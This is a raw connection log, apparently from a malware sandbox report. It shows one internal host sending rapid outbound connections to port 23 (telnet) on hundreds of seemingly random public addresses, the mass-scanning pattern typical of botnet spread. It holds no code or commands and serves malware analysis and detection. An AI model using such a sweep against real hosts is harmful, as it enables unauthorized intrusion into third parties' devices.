Jan 5, 2025 14:34:57.716214895 CET	29476	23	192.168.2.13	116.28.251.55
Jan 5, 2025 14:34:57.716218948 CET	29476	23	192.168.2.13	20.249.5.80
Jan 5, 2025 14:34:57.716236115 CET	29476	23	192.168.2.13	141.228.226.132
Jan 5, 2025 14:34:57.716236115 CET	29476	23	192.168.2.13	132.15.158.114
Jan 5, 2025 14:34:57.716238022 CET	29476	23	192.168.2.13	62.133.88.176
Jan 5, 2025 14:34:57.716239929 CET	29476	23	192.168.2.13	23.8.61.111
Jan 5, 2025 14:34:57.716253042 CET	29476	23	192.168.2.13	136.114.214.251
Jan 5, 2025 14:34:57.716257095 CET	29476	23	192.168.2.13	2.184.18.75
Jan 5, 2025 14:34:57.716263056 CET	29476	23	192.168.2.13	150.65.179.251
Jan 5, 2025 14:34:57.716268063 CET	29476	23	192.168.2.13	190.6.67.127
Jan 5, 2025 14:34:57.716272116 CET	29476	23	192.168.2.13	117.146.60.74
Jan 5, 2025 14:34:57.716285944 CET	29476	23	192.168.2.13	166.119.2.194
Jan 5, 2025 14:34:57.716285944 CET	29476	23	192.168.2.13	141.46.161.217
Jan 5, 2025 14:34:57.716291904 CET	29476	23	192.168.2.13	107.153.248.251
Jan 5, 2025 14:34:57.716291904 CET	29476	23	192.168.2.13	188.95.239.169
Jan 5, 2025 14:34:57.716306925 CET	29476	23	192.168.2.13	188.31.54.157
Jan 5, 2025 14:34:57.716314077 CET	29476	23	192.168.2.13	113.145.88.89
Jan 5, 2025 14:34:57.716314077 CET	29476	23	192.168.2.13	96.59.248.225
Jan 5, 2025 14:34:57.716314077 CET	29476	23	192.168.2.13	179.128.155.185
Jan 5, 2025 14:34:57.716320992 CET	29476	23	192.168.2.13	165.84.221.78
Jan 5, 2025 14:34:57.716325998 CET	29476	23	192.168.2.13	211.215.172.251
Jan 5, 2025 14:34:57.716329098 CET	29476	23	192.168.2.13	9.205.17.82
Jan 5, 2025 14:34:57.716331005 CET	29476	23	192.168.2.13	47.194.144.230
Jan 5, 2025 14:34:57.716342926 CET	29476	23	192.168.2.13	132.119.112.44
Jan 5, 2025 14:34:57.716344118 CET	29476	23	192.168.2.13	58.101.72.229
Jan 5, 2025 14:34:57.716358900 CET	29476	23	192.168.2.13	151.117.148.162
Jan 5, 2025 14:34:57.716362953 CET	29476	23	192.168.2.13	192.49.214.107
Jan 5, 2025 14:34:57.716362953 CET	29476	23	192.168.2.13	85.22.140.203
Jan 5, 2025 14:34:57.716362953 CET	29476	23	192.168.2.13	189.36.56.136
Jan 5, 2025 14:34:57.716393948 CET	29476	23	192.168.2.13	182.233.223.36
Jan 5, 2025 14:34:57.716394901 CET	29476	23	192.168.2.13	47.127.136.160
Jan 5, 2025 14:34:57.716394901 CET	29476	23	192.168.2.13	41.130.208.64
Jan 5, 2025 14:34:57.716396093 CET	29476	23	192.168.2.13	45.22.200.5
Jan 5, 2025 14:34:57.716398001 CET	29476	23	192.168.2.13	149.192.109.173
Jan 5, 2025 14:34:57.716406107 CET	29476	23	192.168.2.13	200.247.50.233
Jan 5, 2025 14:34:57.716406107 CET	29476	23	192.168.2.13	31.120.125.159
Jan 5, 2025 14:34:57.716407061 CET	29476	23	192.168.2.13	93.179.200.72
Jan 5, 2025 14:34:57.716407061 CET	29476	23	192.168.2.13	191.185.169.117
Jan 5, 2025 14:34:57.716409922 CET	29476	23	192.168.2.13	196.235.18.142
Jan 5, 2025 14:34:57.716411114 CET	29476	23	192.168.2.13	72.228.129.235
Jan 5, 2025 14:34:57.716411114 CET	29476	23	192.168.2.13	12.4.124.230
Jan 5, 2025 14:34:57.716411114 CET	29476	23	192.168.2.13	204.126.148.242
Jan 5, 2025 14:34:57.716434002 CET	29476	23	192.168.2.13	176.176.149.85
Jan 5, 2025 14:34:57.716439962 CET	29476	23	192.168.2.13	44.240.125.149
Jan 5, 2025 14:34:57.716442108 CET	29476	23	192.168.2.13	114.143.31.69
Jan 5, 2025 14:34:57.716442108 CET	29476	23	192.168.2.13	211.34.227.207
Jan 5, 2025 14:34:57.716442108 CET	29476	23	192.168.2.13	35.181.95.199
Jan 5, 2025 14:34:57.716442108 CET	29476	23	192.168.2.13	219.145.103.126
Jan 5, 2025 14:34:57.716444969 CET	29476	23	192.168.2.13	45.3.7.1
Jan 5, 2025 14:34:57.716444969 CET	29476	23	192.168.2.13	188.244.116.224
Jan 5, 2025 14:34:57.716444969 CET	29476	23	192.168.2.13	135.56.29.71
Jan 5, 2025 14:34:57.716444969 CET	29476	23	192.168.2.13	4.204.199.49
Jan 5, 2025 14:34:57.716444969 CET	29476	23	192.168.2.13	203.27.131.122
Jan 5, 2025 14:34:57.716445923 CET	29476	23	192.168.2.13	142.61.43.143
Jan 5, 2025 14:34:57.716445923 CET	29476	23	192.168.2.13	41.187.226.178
Jan 5, 2025 14:34:57.716487885 CET	29476	23	192.168.2.13	176.140.164.26
Jan 5, 2025 14:34:57.716489077 CET	29476	23	192.168.2.13	180.101.133.188
Jan 5, 2025 14:34:57.716489077 CET	29476	23	192.168.2.13	5.49.76.251
Jan 5, 2025 14:34:57.716490984 CET	29476	23	192.168.2.13	68.205.230.145
Jan 5, 2025 14:34:57.716496944 CET	29476	23	192.168.2.13	52.197.158.149
Jan 5, 2025 14:34:57.716497898 CET	29476	23	192.168.2.13	69.250.154.118
Jan 5, 2025 14:34:57.716497898 CET	29476	23	192.168.2.13	193.160.24.49
Jan 5, 2025 14:34:57.716499090 CET	29476	23	192.168.2.13	104.214.114.13
Jan 5, 2025 14:34:57.716499090 CET	29476	23	192.168.2.13	200.169.121.241
Jan 5, 2025 14:34:57.716502905 CET	29476	23	192.168.2.13	133.252.171.53
Jan 5, 2025 14:34:57.716511965 CET	29476	23	192.168.2.13	220.218.194.69
Jan 5, 2025 14:34:57.716512918 CET	29476	23	192.168.2.13	119.164.140.163
Jan 5, 2025 14:34:57.716514111 CET	29476	23	192.168.2.13	205.111.152.220
Jan 5, 2025 14:34:57.716528893 CET	29476	23	192.168.2.13	218.231.126.86
Jan 5, 2025 14:34:57.716528893 CET	29476	23	192.168.2.13	47.140.103.60
Jan 5, 2025 14:34:57.716536045 CET	29476	23	192.168.2.13	156.36.198.77
Jan 5, 2025 14:34:57.716537952 CET	29476	23	192.168.2.13	91.35.72.197
Jan 5, 2025 14:34:57.716537952 CET	29476	23	192.168.2.13	80.226.103.38
Jan 5, 2025 14:34:57.716542006 CET	29476	23	192.168.2.13	63.11.6.67
Jan 5, 2025 14:34:57.716542006 CET	29476	23	192.168.2.13	188.188.173.44
Jan 5, 2025 14:34:57.716552973 CET	29476	23	192.168.2.13	131.127.42.148
Jan 5, 2025 14:34:57.716557980 CET	29476	23	192.168.2.13	143.46.25.126
Jan 5, 2025 14:34:57.716573954 CET	29476	23	192.168.2.13	45.144.194.142
Jan 5, 2025 14:34:57.716573954 CET	29476	23	192.168.2.13	217.27.207.159
Jan 5, 2025 14:34:57.716574907 CET	29476	23	192.168.2.13	35.85.164.201
Jan 5, 2025 14:34:57.716574907 CET	29476	23	192.168.2.13	31.87.57.196
Jan 5, 2025 14:34:57.716574907 CET	29476	23	192.168.2.13	158.57.204.200
Jan 5, 2025 14:34:57.716574907 CET	29476	23	192.168.2.13	161.74.204.49
Jan 5, 2025 14:34:57.716589928 CET	29476	23	192.168.2.13	169.188.137.214
Jan 5, 2025 14:34:57.716598988 CET	29476	23	192.168.2.13	139.202.132.232
Jan 5, 2025 14:34:57.716599941 CET	29476	23	192.168.2.13	104.39.194.187
Jan 5, 2025 14:34:57.716603994 CET	29476	23	192.168.2.13	50.188.239.225
Jan 5, 2025 14:34:57.716603994 CET	29476	23	192.168.2.13	175.20.246.232
Jan 5, 2025 14:34:57.716607094 CET	29476	23	192.168.2.13	129.60.232.135
Jan 5, 2025 14:34:57.716608047 CET	29476	23	192.168.2.13	151.7.6.190
Jan 5, 2025 14:34:57.716617107 CET	29476	23	192.168.2.13	143.31.68.3
Jan 5, 2025 14:34:57.716623068 CET	29476	23	192.168.2.13	2.229.27.191
Jan 5, 2025 14:34:57.716625929 CET	29476	23	192.168.2.13	36.71.52.153
Jan 5, 2025 14:34:57.716631889 CET	29476	23	192.168.2.13	120.16.222.49
Jan 5, 2025 14:34:57.716631889 CET	29476	23	192.168.2.13	154.112.238.198
Jan 5, 2025 14:34:57.716634035 CET	29476	23	192.168.2.13	76.18.173.76
Jan 5, 2025 14:34:57.716650009 CET	29476	23	192.168.2.13	191.166.243.201
Jan 5, 2025 14:34:57.716650009 CET	29476	23	192.168.2.13	137.46.135.3
Jan 5, 2025 14:34:57.716659069 CET	29476	23	192.168.2.13	201.195.236.253
Jan 5, 2025 14:34:57.716659069 CET	29476	23	192.168.2.13	198.88.242.136
Jan 5, 2025 14:34:57.716665983 CET	29476	23	192.168.2.13	67.87.206.195
Jan 5, 2025 14:34:57.716667891 CET	29476	23	192.168.2.13	105.201.251.110
Jan 5, 2025 14:34:57.716667891 CET	29476	23	192.168.2.13	12.233.179.90
Jan 5, 2025 14:34:57.716670036 CET	29476	23	192.168.2.13	155.156.86.149
Jan 5, 2025 14:34:57.716670036 CET	29476	23	192.168.2.13	189.213.18.91
Jan 5, 2025 14:34:57.716686964 CET	29476	23	192.168.2.13	47.252.118.216
Jan 5, 2025 14:34:57.716689110 CET	29476	23	192.168.2.13	155.98.65.238
Jan 5, 2025 14:34:57.716689110 CET	29476	23	192.168.2.13	97.118.11.6
Jan 5, 2025 14:34:57.716690063 CET	29476	23	192.168.2.13	222.214.102.218
Jan 5, 2025 14:34:57.716703892 CET	29476	23	192.168.2.13	122.242.117.99
Jan 5, 2025 14:34:57.716713905 CET	29476	23	192.168.2.13	23.81.200.251
Jan 5, 2025 14:34:57.716711998 CET	29476	23	192.168.2.13	157.3.25.169
Jan 5, 2025 14:34:57.716711998 CET	29476	23	192.168.2.13	125.109.81.203
Jan 5, 2025 14:34:57.716711998 CET	29476	23	192.168.2.13	111.9.128.3
Jan 5, 2025 14:34:57.716716051 CET	29476	23	192.168.2.13	123.234.43.97
Jan 5, 2025 14:34:57.716711998 CET	29476	23	192.168.2.13	191.125.141.121
Jan 5, 2025 14:34:57.716711998 CET	29476	23	192.168.2.13	49.127.107.180
Jan 5, 2025 14:34:57.716721058 CET	29476	23	192.168.2.13	206.60.236.189
Jan 5, 2025 14:34:57.716725111 CET	29476	23	192.168.2.13	202.14.207.17
Jan 5, 2025 14:34:57.716737032 CET	29476	23	192.168.2.13	8.59.215.252
Jan 5, 2025 14:34:57.716743946 CET	29476	23	192.168.2.13	91.32.40.75
Jan 5, 2025 14:34:57.716743946 CET	29476	23	192.168.2.13	189.223.84.183
Jan 5, 2025 14:34:57.716744900 CET	29476	23	192.168.2.13	163.86.5.158
Jan 5, 2025 14:34:57.716747046 CET	29476	23	192.168.2.13	113.168.18.173
Jan 5, 2025 14:34:57.716747046 CET	29476	23	192.168.2.13	212.116.240.165
Jan 5, 2025 14:34:57.716753960 CET	29476	23	192.168.2.13	85.151.104.15
Jan 5, 2025 14:34:57.716753960 CET	29476	23	192.168.2.13	112.109.118.3
Jan 5, 2025 14:34:57.716754913 CET	29476	23	192.168.2.13	17.215.173.144
Jan 5, 2025 14:34:57.716763020 CET	29476	23	192.168.2.13	165.241.6.227
Jan 5, 2025 14:34:57.716774940 CET	29476	23	192.168.2.13	119.65.171.103
Jan 5, 2025 14:34:57.716777086 CET	29476	23	192.168.2.13	118.218.138.28
Jan 5, 2025 14:34:57.716777086 CET	29476	23	192.168.2.13	90.128.14.184
Jan 5, 2025 14:34:57.716789961 CET	29476	23	192.168.2.13	38.137.4.50
Jan 5, 2025 14:34:57.716799974 CET	29476	23	192.168.2.13	9.193.179.43
Jan 5, 2025 14:34:57.716804028 CET	29476	23	192.168.2.13	151.150.68.248
Jan 5, 2025 14:34:57.716804028 CET	29476	23	192.168.2.13	120.49.91.16
Jan 5, 2025 14:34:57.716804028 CET	29476	23	192.168.2.13	163.128.173.8
Jan 5, 2025 14:34:57.716808081 CET	29476	23	192.168.2.13	126.28.222.178
Jan 5, 2025 14:34:57.716816902 CET	29476	23	192.168.2.13	184.130.49.210
Jan 5, 2025 14:34:57.716821909 CET	29476	23	192.168.2.13	92.55.27.175
Jan 5, 2025 14:34:57.716821909 CET	29476	23	192.168.2.13	102.198.164.201
Jan 5, 2025 14:34:57.716821909 CET	29476	23	192.168.2.13	176.28.100.243
Jan 5, 2025 14:34:57.716824055 CET	29476	23	192.168.2.13	1.215.163.229
Jan 5, 2025 14:34:57.716824055 CET	29476	23	192.168.2.13	77.171.152.68
Jan 5, 2025 14:34:57.716826916 CET	29476	23	192.168.2.13	59.223.79.59
Jan 5, 2025 14:34:57.716847897 CET	29476	23	192.168.2.13	185.20.57.250
Jan 5, 2025 14:34:57.716847897 CET	29476	23	192.168.2.13	54.180.155.0
Jan 5, 2025 14:34:57.716850042 CET	29476	23	192.168.2.13	208.168.25.3
Jan 5, 2025 14:34:57.716850042 CET	29476	23	192.168.2.13	145.97.154.231
Jan 5, 2025 14:34:57.716852903 CET	29476	23	192.168.2.13	201.21.15.174
Jan 5, 2025 14:34:57.716867924 CET	29476	23	192.168.2.13	44.251.25.57
Jan 5, 2025 14:34:57.716867924 CET	29476	23	192.168.2.13	76.35.57.30
Jan 5, 2025 14:34:57.716871977 CET	29476	23	192.168.2.13	4.112.204.53
Jan 5, 2025 14:34:57.716898918 CET	29476	23	192.168.2.13	70.3.144.112
Jan 5, 2025 14:34:57.716898918 CET	29476	23	192.168.2.13	203.39.70.21
Jan 5, 2025 14:34:57.716898918 CET	29476	23	192.168.2.13	101.18.125.227
Jan 5, 2025 14:34:57.716900110 CET	29476	23	192.168.2.13	41.25.37.187
Jan 5, 2025 14:34:57.716911077 CET	29476	23	192.168.2.13	8.4.174.49
Jan 5, 2025 14:34:57.716911077 CET	29476	23	192.168.2.13	174.159.36.95
Jan 5, 2025 14:34:57.716914892 CET	29476	23	192.168.2.13	183.88.139.5
Jan 5, 2025 14:34:57.716914892 CET	29476	23	192.168.2.13	125.1.47.106
Jan 5, 2025 14:34:57.716914892 CET	29476	23	192.168.2.13	50.113.231.65
Jan 5, 2025 14:34:57.716914892 CET	29476	23	192.168.2.13	102.179.210.106
Jan 5, 2025 14:34:57.716914892 CET	29476	23	192.168.2.13	200.73.66.190
Jan 5, 2025 14:34:57.716917038 CET	29476	23	192.168.2.13	141.18.162.124
Jan 5, 2025 14:34:57.716914892 CET	29476	23	192.168.2.13	118.233.156.48
Jan 5, 2025 14:34:57.716914892 CET	29476	23	192.168.2.13	148.129.128.199
Jan 5, 2025 14:34:57.716916084 CET	29476	23	192.168.2.13	14.143.8.61
Jan 5, 2025 14:34:57.716917038 CET	29476	23	192.168.2.13	142.255.25.79
Jan 5, 2025 14:34:57.716917038 CET	29476	23	192.168.2.13	85.186.222.26
Jan 5, 2025 14:34:57.716917038 CET	29476	23	192.168.2.13	131.186.62.107
Jan 5, 2025 14:34:57.716928959 CET	29476	23	192.168.2.13	206.91.120.175
Jan 5, 2025 14:34:57.716928959 CET	29476	23	192.168.2.13	126.42.150.194
Jan 5, 2025 14:34:57.716928959 CET	29476	23	192.168.2.13	50.78.24.68
Jan 5, 2025 14:34:57.716931105 CET	29476	23	192.168.2.13	18.95.35.156
Jan 5, 2025 14:34:57.716932058 CET	29476	23	192.168.2.13	181.102.148.103
Jan 5, 2025 14:34:57.716936111 CET	29476	23	192.168.2.13	18.70.102.124
Jan 5, 2025 14:34:57.716937065 CET	29476	23	192.168.2.13	134.119.245.86
Jan 5, 2025 14:34:57.716936111 CET	29476	23	192.168.2.13	130.92.241.188
Jan 5, 2025 14:34:57.716936111 CET	29476	23	192.168.2.13	182.22.87.134
Jan 5, 2025 14:34:57.716939926 CET	29476	23	192.168.2.13	121.80.162.147
Jan 5, 2025 14:34:57.716947079 CET	29476	23	192.168.2.13	198.231.76.201
Jan 5, 2025 14:34:57.716963053 CET	29476	23	192.168.2.13	169.179.35.131
Jan 5, 2025 14:34:57.716963053 CET	29476	23	192.168.2.13	161.113.84.76
Jan 5, 2025 14:34:57.716968060 CET	29476	23	192.168.2.13	48.64.24.21
Jan 5, 2025 14:34:57.716968060 CET	29476	23	192.168.2.13	126.241.225.247
Jan 5, 2025 14:34:57.716974974 CET	29476	23	192.168.2.13	144.239.126.10
Jan 5, 2025 14:34:57.716974974 CET	29476	23	192.168.2.13	67.97.108.209
Jan 5, 2025 14:34:57.716974974 CET	29476	23	192.168.2.13	198.221.207.13
Jan 5, 2025 14:34:57.716974974 CET	29476	23	192.168.2.13	178.89.92.7
Jan 5, 2025 14:34:57.716984034 CET	29476	23	192.168.2.13	200.159.142.214
Jan 5, 2025 14:34:57.716984987 CET	29476	23	192.168.2.13	109.254.199.54
Jan 5, 2025 14:34:57.716989994 CET	29476	23	192.168.2.13	116.142.75.93
Jan 5, 2025 14:34:57.716989994 CET	29476	23	192.168.2.13	136.121.31.108
Jan 5, 2025 14:34:57.716989994 CET	29476	23	192.168.2.13	92.252.244.159
Jan 5, 2025 14:34:57.716989994 CET	29476	23	192.168.2.13	198.115.47.254
Jan 5, 2025 14:34:57.716990948 CET	29476	23	192.168.2.13	108.48.248.158
Jan 5, 2025 14:34:57.717000961 CET	29476	23	192.168.2.13	36.94.97.252
Jan 5, 2025 14:34:57.717003107 CET	29476	23	192.168.2.13	206.85.22.91
Jan 5, 2025 14:34:57.717017889 CET	29476	23	192.168.2.13	14.239.147.180
Jan 5, 2025 14:34:57.717019081 CET	29476	23	192.168.2.13	62.83.128.232
Jan 5, 2025 14:34:57.717020035 CET	29476	23	192.168.2.13	27.153.238.245
Jan 5, 2025 14:34:57.717020988 CET	29476	23	192.168.2.13	109.2.85.130
Jan 5, 2025 14:34:57.717020988 CET	29476	23	192.168.2.13	221.191.51.202
Jan 5, 2025 14:34:57.717020988 CET	29476	23	192.168.2.13	73.0.105.41
Jan 5, 2025 14:34:57.717020988 CET	29476	23	192.168.2.13	91.27.230.1
Jan 5, 2025 14:34:57.717025995 CET	29476	23	192.168.2.13	75.4.47.197
Jan 5, 2025 14:34:57.717037916 CET	29476	23	192.168.2.13	113.237.68.155
Jan 5, 2025 14:34:57.717044115 CET	29476	23	192.168.2.13	147.138.209.106
Jan 5, 2025 14:34:57.717053890 CET	29476	23	192.168.2.13	20.89.236.208
Jan 5, 2025 14:34:57.717056990 CET	29476	23	192.168.2.13	44.114.187.85
Jan 5, 2025 14:34:57.717056990 CET	29476	23	192.168.2.13	51.247.162.141
Jan 5, 2025 14:34:57.717061043 CET	29476	23	192.168.2.13	82.196.83.163
Jan 5, 2025 14:34:57.717061996 CET	29476	23	192.168.2.13	133.5.145.34
Jan 5, 2025 14:34:57.717076063 CET	29476	23	192.168.2.13	74.207.136.115
Jan 5, 2025 14:34:57.717076063 CET	29476	23	192.168.2.13	132.193.18.119
Jan 5, 2025 14:34:57.717089891 CET	29476	23	192.168.2.13	43.94.79.181
Jan 5, 2025 14:34:57.717089891 CET	29476	23	192.168.2.13	20.104.15.66
Jan 5, 2025 14:34:57.717092037 CET	29476	23	192.168.2.13	125.180.142.44
Jan 5, 2025 14:34:57.717092037 CET	29476	23	192.168.2.13	51.24.132.147
Jan 5, 2025 14:34:57.717092991 CET	29476	23	192.168.2.13	188.136.95.206
Jan 5, 2025 14:34:57.717096090 CET	29476	23	192.168.2.13	75.194.87.50
Jan 5, 2025 14:34:57.717096090 CET	29476	23	192.168.2.13	161.61.52.209
Jan 5, 2025 14:34:57.717096090 CET	29476	23	192.168.2.13	116.97.172.56
Jan 5, 2025 14:34:57.717103004 CET	29476	23	192.168.2.13	37.214.87.117
Jan 5, 2025 14:34:57.717103004 CET	29476	23	192.168.2.13	140.163.75.71
Jan 5, 2025 14:34:57.717108965 CET	29476	23	192.168.2.13	34.155.62.93
Jan 5, 2025 14:34:57.717112064 CET	29476	23	192.168.2.13	94.38.238.87
Jan 5, 2025 14:34:57.717112064 CET	29476	23	192.168.2.13	178.149.87.44
Jan 5, 2025 14:34:57.717112064 CET	29476	23	192.168.2.13	82.26.231.104
Jan 5, 2025 14:34:57.717113972 CET	29476	23	192.168.2.13	40.79.113.93
Jan 5, 2025 14:34:57.717116117 CET	29476	23	192.168.2.13	217.225.89.67
Jan 5, 2025 14:34:57.717117071 CET	29476	23	192.168.2.13	40.192.68.223
Jan 5, 2025 14:34:57.717117071 CET	29476	23	192.168.2.13	220.137.144.153
Jan 5, 2025 14:34:57.717130899 CET	29476	23	192.168.2.13	27.154.118.243
Jan 5, 2025 14:34:57.717129946 CET	29476	23	192.168.2.13	90.52.228.148
Jan 5, 2025 14:34:57.717129946 CET	29476	23	192.168.2.13	67.233.160.228
Jan 5, 2025 14:34:57.717133045 CET	29476	23	192.168.2.13	115.224.31.216
Jan 5, 2025 14:34:57.717133999 CET	29476	23	192.168.2.13	121.86.249.144
Jan 5, 2025 14:34:57.717138052 CET	29476	23	192.168.2.13	31.99.112.33
Jan 5, 2025 14:34:57.717135906 CET	29476	23	192.168.2.13	71.29.233.76
Jan 5, 2025 14:34:57.717139959 CET	29476	23	192.168.2.13	12.232.242.144
Jan 5, 2025 14:34:57.717135906 CET	29476	23	192.168.2.13	110.79.149.55
Jan 5, 2025 14:34:57.717139959 CET	29476	23	192.168.2.13	46.223.238.99
Jan 5, 2025 14:34:57.717139959 CET	29476	23	192.168.2.13	19.193.104.101
Jan 5, 2025 14:34:57.717148066 CET	29476	23	192.168.2.13	194.147.56.153
Jan 5, 2025 14:34:57.717153072 CET	29476	23	192.168.2.13	103.47.7.95
Jan 5, 2025 14:34:57.717153072 CET	29476	23	192.168.2.13	126.103.36.49
Jan 5, 2025 14:34:57.717154980 CET	29476	23	192.168.2.13	207.140.178.132
Jan 5, 2025 14:34:57.717158079 CET	29476	23	192.168.2.13	54.225.123.60
Jan 5, 2025 14:34:57.717161894 CET	29476	23	192.168.2.13	40.101.126.81
Jan 5, 2025 14:34:57.717161894 CET	29476	23	192.168.2.13	220.110.49.4
Jan 5, 2025 14:34:57.717161894 CET	29476	23	192.168.2.13	27.83.59.245
Jan 5, 2025 14:34:57.717169046 CET	29476	23	192.168.2.13	84.148.188.149
Jan 5, 2025 14:34:57.717185020 CET	29476	23	192.168.2.13	103.199.215.161
Jan 5, 2025 14:34:57.717185020 CET	29476	23	192.168.2.13	67.35.224.102
Jan 5, 2025 14:34:57.717185020 CET	29476	23	192.168.2.13	139.4.151.87
Jan 5, 2025 14:34:57.717185020 CET	29476	23	192.168.2.13	91.206.75.186
Jan 5, 2025 14:34:57.717197895 CET	29476	23	192.168.2.13	130.127.244.18
Jan 5, 2025 14:34:57.717200041 CET	29476	23	192.168.2.13	206.187.58.22
Jan 5, 2025 14:34:57.717206955 CET	29476	23	192.168.2.13	40.62.154.155
Jan 5, 2025 14:34:57.717211008 CET	29476	23	192.168.2.13	77.9.198.150
Jan 5, 2025 14:34:57.717211008 CET	29476	23	192.168.2.13	42.158.202.176
Jan 5, 2025 14:34:57.717238903 CET	29476	23	192.168.2.13	54.144.208.176
Jan 5, 2025 14:34:57.717242002 CET	29476	23	192.168.2.13	51.3.226.229
Jan 5, 2025 14:34:57.717242002 CET	29476	23	192.168.2.13	167.167.3.80
Jan 5, 2025 14:34:57.717252970 CET	29476	23	192.168.2.13	148.107.103.128
Jan 5, 2025 14:34:57.717255116 CET	29476	23	192.168.2.13	76.52.179.2
Jan 5, 2025 14:34:57.717264891 CET	29476	23	192.168.2.13	175.174.57.123
Jan 5, 2025 14:34:57.717264891 CET	29476	23	192.168.2.13	134.24.144.9
Jan 5, 2025 14:34:57.717266083 CET	29476	23	192.168.2.13	54.213.131.123
Jan 5, 2025 14:34:57.717266083 CET	29476	23	192.168.2.13	61.124.26.64
Jan 5, 2025 14:34:57.717269897 CET	29476	23	192.168.2.13	149.159.242.187
Jan 5, 2025 14:34:57.717272997 CET	29476	23	192.168.2.13	135.157.196.187
Jan 5, 2025 14:34:57.717272997 CET	29476	23	192.168.2.13	170.227.66.114
Jan 5, 2025 14:34:57.717272997 CET	29476	23	192.168.2.13	188.147.176.240
Jan 5, 2025 14:34:57.717281103 CET	29476	23	192.168.2.13	136.223.40.157
Jan 5, 2025 14:34:57.717292070 CET	29476	23	192.168.2.13	89.246.220.35
Jan 5, 2025 14:34:57.717299938 CET	29476	23	192.168.2.13	153.97.86.124
Jan 5, 2025 14:34:57.717300892 CET	29476	23	192.168.2.13	130.57.158.103
Jan 5, 2025 14:34:57.717308998 CET	29476	23	192.168.2.13	23.249.115.222
Jan 5, 2025 14:34:57.717314005 CET	29476	23	192.168.2.13	152.28.101.53
Jan 5, 2025 14:34:57.717314959 CET	29476	23	192.168.2.13	35.181.255.112
Jan 5, 2025 14:34:57.717314959 CET	29476	23	192.168.2.13	90.86.254.146
Jan 5, 2025 14:34:57.717314959 CET	29476	23	192.168.2.13	139.55.58.45
Jan 5, 2025 14:34:57.717320919 CET	29476	23	192.168.2.13	25.249.101.227
Jan 5, 2025 14:34:57.717324018 CET	29476	23	192.168.2.13	93.215.122.55
Jan 5, 2025 14:34:57.717324018 CET	29476	23	192.168.2.13	166.109.173.117
Jan 5, 2025 14:34:57.717325926 CET	29476	23	192.168.2.13	102.75.242.200
Jan 5, 2025 14:34:57.717344999 CET	29476	23	192.168.2.13	169.56.196.38
Jan 5, 2025 14:34:57.717344999 CET	29476	23	192.168.2.13	162.221.101.11
Jan 5, 2025 14:34:57.717344999 CET	29476	23	192.168.2.13	108.64.82.200
Jan 5, 2025 14:34:57.717344999 CET	29476	23	192.168.2.13	105.121.172.134
Jan 5, 2025 14:34:57.717349052 CET	29476	23	192.168.2.13	119.124.54.70
Jan 5, 2025 14:34:57.717350006 CET	29476	23	192.168.2.13	180.31.229.252
Jan 5, 2025 14:34:57.717350960 CET	29476	23	192.168.2.13	158.151.106.71
Jan 5, 2025 14:34:57.717350960 CET	29476	23	192.168.2.13	84.236.164.245
Jan 5, 2025 14:34:57.717367887 CET	29476	23	192.168.2.13	25.17.20.62
Jan 5, 2025 14:34:57.717374086 CET	29476	23	192.168.2.13	141.88.145.136
Jan 5, 2025 14:34:57.717374086 CET	29476	23	192.168.2.13	223.159.149.161
Jan 5, 2025 14:34:57.717381954 CET	29476	23	192.168.2.13	107.100.185.203
Jan 5, 2025 14:34:57.717394114 CET	29476	23	192.168.2.13	99.123.2.186
Jan 5, 2025 14:34:57.717403889 CET	29476	23	192.168.2.13	120.16.249.201
Jan 5, 2025 14:34:57.717406988 CET	29476	23	192.168.2.13	44.32.79.87
Jan 5, 2025 14:34:57.717408895 CET	29476	23	192.168.2.13	98.168.49.123
Jan 5, 2025 14:34:57.717411995 CET	29476	23	192.168.2.13	209.165.152.16
Jan 5, 2025 14:34:57.717420101 CET	29476	23	192.168.2.13	144.48.8.91
Jan 5, 2025 14:34:57.717420101 CET	29476	23	192.168.2.13	72.24.69.64
Jan 5, 2025 14:34:57.717421055 CET	29476	23	192.168.2.13	117.46.65.135
Jan 5, 2025 14:34:57.717432976 CET	29476	23	192.168.2.13	100.134.153.112
Jan 5, 2025 14:34:57.717432976 CET	29476	23	192.168.2.13	194.147.189.152
Jan 5, 2025 14:34:57.717444897 CET	29476	23	192.168.2.13	143.111.153.215
Jan 5, 2025 14:34:57.717444897 CET	29476	23	192.168.2.13	139.120.134.45
Jan 5, 2025 14:34:57.717444897 CET	29476	23	192.168.2.13	67.204.189.233
Jan 5, 2025 14:34:57.717444897 CET	29476	23	192.168.2.13	90.59.255.168
Jan 5, 2025 14:34:57.717444897 CET	29476	23	192.168.2.13	117.54.5.161
Jan 5, 2025 14:34:57.717444897 CET	29476	23	192.168.2.13	86.209.149.97
Jan 5, 2025 14:34:57.717456102 CET	29476	23	192.168.2.13	109.81.134.9
Jan 5, 2025 14:34:57.717458010 CET	29476	23	192.168.2.13	149.188.188.83
Jan 5, 2025 14:34:57.717462063 CET	29476	23	192.168.2.13	19.237.91.122
Jan 5, 2025 14:34:57.717462063 CET	29476	23	192.168.2.13	40.132.31.112
Jan 5, 2025 14:34:57.717462063 CET	29476	23	192.168.2.13	36.214.225.30
Jan 5, 2025 14:34:57.717463017 CET	29476	23	192.168.2.13	89.120.38.194
Jan 5, 2025 14:34:57.717462063 CET	29476	23	192.168.2.13	158.146.80.72
Jan 5, 2025 14:34:57.717473984 CET	29476	23	192.168.2.13	130.96.29.215
Jan 5, 2025 14:34:57.717484951 CET	29476	23	192.168.2.13	199.125.138.154
Jan 5, 2025 14:34:57.717484951 CET	29476	23	192.168.2.13	189.26.39.19
Jan 5, 2025 14:34:57.721184015 CET	23	29476	158.73.65.210	192.168.2.13
Jan 5, 2025 14:34:57.721195936 CET	23	29476	189.209.211.161	192.168.2.13
Jan 5, 2025 14:34:57.721205950 CET	23	29476	125.244.98.167	192.168.2.13
Jan 5, 2025 14:34:57.721214056 CET	23	29476	183.98.228.230	192.168.2.13
Jan 5, 2025 14:34:57.721220016 CET	23	29476	161.165.224.152	192.168.2.13
Jan 5, 2025 14:34:57.721229076 CET	23	29476	119.66.137.142	192.168.2.13
Jan 5, 2025 14:34:57.721229076 CET	29476	23	192.168.2.13	158.73.65.210
Jan 5, 2025 14:34:57.721239090 CET	23	29476	177.80.230.198	192.168.2.13
Jan 5, 2025 14:34:57.721260071 CET	23	29476	61.210.142.186	192.168.2.13
Jan 5, 2025 14:34:57.721261978 CET	29476	23	192.168.2.13	183.98.228.230
Jan 5, 2025 14:34:57.721266031 CET	29476	23	192.168.2.13	125.244.98.167
Jan 5, 2025 14:34:57.721266031 CET	29476	23	192.168.2.13	161.165.224.152
Jan 5, 2025 14:34:57.721271038 CET	23	29476	212.1.65.104	192.168.2.13
